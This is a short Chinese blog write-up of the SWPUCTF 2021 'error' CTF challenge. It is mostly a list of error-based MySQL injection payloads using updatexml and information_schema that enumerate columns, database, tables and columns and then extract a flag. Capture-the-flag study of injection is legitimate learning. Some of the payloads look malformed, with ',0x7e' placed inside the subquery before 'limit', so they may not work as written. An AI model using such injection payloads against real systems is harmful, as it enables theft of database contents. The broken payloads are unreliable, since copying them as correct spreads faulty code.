[SWPUCTF 2021 新生赛]error

最新推荐文章于 2024-01-31 10:57:02 发布

ha0cker

最新推荐文章于 2024-01-31 10:57:02 发布

阅读量606

点赞数 1

文章标签：数据库 sql mysql web安全

本文链接：https://blog.csdn.net/m0_70819573/article/details/129338015

版权

文章讲述了在NSSCTF中遇到的SQL注入问题，作者构建了一系列payload来揭露数据库的字段、库名、表名、列名，最终提取出flag。这些payload利用了如orderby,updatexml,concat,database(),information_schema等SQL函数和语法。

摘要由CSDN通过智能技术生成

1.打开环境，查看源码

查看源码，发现数据库后端语句都告诉你了，考点就是报错注入，发现NSSCTF上没有比较好的完整payload,那我写写

payload:

1' order by 4--+#爆字段
1' and updatexml(1,concat(0x7e,database(),0x7e),3)--+#爆库
test_db
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test_db',0x7e limit 0,1),3)--+#爆表
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb',0x7e limit 0,1),3)--+#爆列
1' and updatexml(1,concat(0x7e,(select flag from test_tb,0x7e limit 0,1),3)--+#提取flag
#用mid或reverse函数都可以提取完整flag